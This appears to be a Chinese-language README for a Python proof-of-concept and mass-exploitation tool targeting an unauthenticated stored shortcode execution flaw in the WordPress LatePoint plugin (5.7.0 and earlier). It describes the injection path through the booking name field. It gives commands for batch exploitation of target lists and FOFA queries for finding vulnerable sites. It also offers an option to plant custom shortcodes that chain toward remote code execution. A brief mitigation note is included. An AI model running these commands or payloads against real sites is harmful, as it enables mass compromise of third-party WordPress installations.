
针对 CVE-2026-92966 的 Python PoC 与批量利用工具,该漏洞是 WordPress LatePoint ≤5.7.0 中通过预约姓名字段实现的未认证存储型短代码执行。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-92966 |
| 产品 | LatePoint — 预约预订 |
| 受影响版本 | ≤ 5.7.0 |
| 修复版本 | 5.7.1 |
| CWE | CWE-94 — 代码注入(短代码执行) |
| CVSS 3.1 | 9.1 严重 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| CNA | Wordfence |
| 发现者 | hashiramasenju333 |
| PoCbit 目录 | https://pocbit.org/pocs/ |
| PoCbit 页面 | https://pocbit.org/pocs/cve-2026-92966 |
| 验证标记 | POCBIT-92966-OK |
| 安全公告 | Wordfence Threat Intel |
Python PoC 与 CVE-2026-102425 保持一致:默认批量利用、--check、-u、--lab、线程池、hits.txt / exploited.txt。无需 API 密钥 — 通过公开的预约流程即可完全未认证地植入载荷。
WordPress LatePoint 允许匿名访客预约。客户的名字 / 姓氏仅通过 sanitize_text_field() 存储 — 方括号不会被剥离,因此像 [caption]…[/caption] 这样的值会被持久化保存。
当站点渲染 Customer Cabinet Gutenberg 区块(render_customer_dashboard() → [latepoint_customer_dashboard])时,仪表盘模板会在 HTML 中输出客户姓名(Welcome %s,使用 esc_html($customer->full_name))。esc_html 不会编码 [ 或 ],因此类似短代码的载荷会保留在区块输出中。
随后 WordPress 会在 优先级 11 上对 the_content 运行 do_shortcode。由于 5.7.0 从短代码处理程序返回了原始仪表盘 HTML,欢迎行中存储的短代码被第二次解析并执行。5.7.1 通过对仪表盘输出调用 encode_shortcode_delimiters() 修复了此问题(参见 shortcodes_helper.php 注释:"the_content runs do_shortcode at priority 11")。
影响:未认证的任意短代码执行。这本身并不总是能立即实现操作系统级 RCE,但在典型的 WordPress 技术栈上,它可以链式利用关键插件(表单、构建器、文件管理器、基于 eval 的短代码)。PoC 通过核心 [caption] 证明执行,并可选使用 POCBIT_EXEC_SHORTCODE 针对特定站点的 RCE 利用组件。
sequenceDiagram
participant A as Attacker
participant B as Booking (nopriv AJAX)
participant DB as wp_latepoint_customers
participant P as Page + Customer Cabinet block
participant WP as the_content do_shortcode
A->>B: first_name=[caption]PAYLOAD[/caption]
B->>DB: store customer (guest booking)
A->>P: GET customer dashboard (session/cookie)
P->>P: shortcode renders Welcome + payload
WP->>WP: second do_shortcode pass
WP-->>A: executed shortcode output (marker)
customer[first_name](或 last_name)设置为短代码载荷。do_shortcode 执行被触发。厂商源码中的引用(5.7.0):
lib/models/customer_model.php — 对姓名调用 prepare_data_before_it_is_set() / sanitize_text_fieldlib/views/customer_cabinet/dashboard.php — 包含 full_name 的欢迎语行lib/helpers/blocks_helper.php — render_customer_dashboard()lib/helpers/shortcodes_helper.php(5.7.1)— encode_shortcode_delimiters()| 文件 | 用途 |
|---|---|
poc.py | CLI、交互式菜单、批量利用 |
_engine.py | 版本检查、预约植入尝试、仪表盘触发、实验环境 |
up.php | 可选探测文件,如果你的 RCE 短代码会释放文件 |
targets.example.txt | 用于批量处理的 URL 列表 |
extract-5.7.0/ / extract-5.7.1/ | 用于差异对比的厂商目录树(可选) |
pip install requests colorama
python poc.py
exploited.txtpython poc.py targets.txt
python poc.py fofa_latepoint.txt -t 20 -T 28
hits.txtpython poc.py --check targets.txt
指纹:readme.txt Stable tag、LatePoint 前端提示(latepoint-book-form、latepoint_helper)、版本 ≤ 5.7.0。
python poc.py -u https://target.example --check
python poc.py -u https://target.example
如果目标存在危险的短代码(文件管理器等):
set POCBIT_EXEC_SHORTCODE=[your_shortcode_here]
python poc.py -u https://target.example
或:python poc.py -u URL --exec-shortcode "[shortcode]"
默认探测使用 WordPress 核心 [caption]POCBIT-92966-OK[/caption](无需额外插件即可证明执行)。
python poc.py --lab
绑定 127.0.0.1:8797,模拟 readme 5.7.0、booking plant,并在仪表盘 HTML 上双重执行 do_shortcode。预期结果为 "exploited": true。
| 状态 | 含义 |
|---|---|
affected | 版本 ≤ 5.7.0(检查模式) |
exploited | 在预订向导 + 已登录客户控制台页面之后出现的标记 |
plant_no_auth_cookie | 已植入名称,但 admin-ajax 未返回客户/WP 登录 cookie |
plant_missing_service_id | 预订向导没有可供选择的公开服务 |
plant_otp_required / plant_auth_blocked | 客户步骤被 OTP 或登录策略阻止 |
no_customer_cabinet_page | 会话正常,但未找到 [latepoint_customer_dashboard] 页面 |
shortcode_not_triggered | 植入 + 会话正常;控制台已加载但标记未被执行 |
patched_skip | ≥ 5.7.1 |
no_latepoint | 未检测到插件 |
FOFA / 搜索示例:
body="/wp-content/plugins/latepoint/"
body="latepoint-book-form"
body="latepoint_helper"
利用成功率取决于:预订向导无需付款即可访问、Customer Cabinet 区块已发布、预订后的访客会话。
latepoint_route_call 上拦截 customer[first_name] / last_name 中的 [ —— 仅作临时措施。仅限授权测试。
CVE-2026-92966 — WordPress LatePoint ≤5.7.0 unauthenticated stored shortcode execution (CVSS 9.1, CWE-94). PoCbit mass-exploit PoC: plant [caption]/custom shortcode in booking first name → Customer Cabinet block double do_shortcode; fixed in 5.7.1. No API key. check/exploit/mass, hits.txt & exploited.txt, --lab. Marker: POCBIT-92966-OK. https://pocbit.org/pocs/cve-2026-92966